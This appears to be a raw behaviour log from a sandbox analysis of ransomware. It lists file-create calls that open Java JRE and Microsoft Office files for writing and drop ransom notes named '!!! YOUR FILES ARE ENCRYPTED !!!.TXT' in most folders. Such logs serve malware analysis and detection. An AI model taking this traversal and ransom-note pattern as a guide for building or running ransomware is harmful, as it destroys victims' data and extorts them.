Create C:\Program Files\Java\jre1.8.0_144\lib\logging.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\management-agent.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\meta-index desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\net.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\plugin.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\psfont.properties.ja desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\psfontj2d.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\resources.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\rt.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\sound.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\tzdb.dat desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\tzmappings desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\amd64\jvm.cfg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\amd64\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\cmm\CIEXYZ.pf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\cmm\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\cmm\GRAY.pf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\cmm\LINEAR_RGB.pf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\cmm\PYCC.pf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\cmm\sRGB.pf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\ffjcext.zip desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_de.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_es.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_fr.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_it.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ja.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ko.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_pt_BR.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_sv.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_CN.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_HK.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_TW.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash@2x.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11-lic.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11@2x-lic.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\access-bridge-64.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\cldrdata.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\dnsns.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\jaccess.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\jfxrt.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\localedata.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\meta-index desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\nashorn.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\sunec.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\sunjce_provider.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\sunmscapi.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\sunpkcs11.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\ext\zipfs.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiBold.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fonts\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiItalic.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightItalic.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightRegular.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansDemiBold.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansRegular.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterBold.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterRegular.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\cursors.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\invalid32x32.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_CopyDrop32x32.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_CopyNoDrop32x32.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_LinkDrop32x32.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_LinkNoDrop32x32.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_MoveDrop32x32.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_MoveNoDrop32x32.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\jfr\default.jfc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\jfr\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\jfr\profile.jfc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\management\jmxremote.access desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\management\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\management\jmxremote.password.template desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\management\management.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\management\snmp.acl.template desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\security\blacklist desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\security\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\security\blacklisted.certs desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\security\cacerts desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\security\java.policy desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\security\java.security desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\security\javaws.policy desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\security\local_policy.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\security\trusted.libraries desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\security\US_export_policy.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\AppXManifest.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Microsoft Office\FileSystemMetadata.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\Office16\OSPP.HTM desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\Office16\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Microsoft Office\Office16\OSPP.VBS desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\Microsoft Office\Office16\SLERROR.XML desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.common.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AppXManifestLoc.en-us.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\PackageManifests\AuthoredExtensions.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00004_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00011_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00021_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00037_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00038_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00040_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00052_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00057_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00090_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00092_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
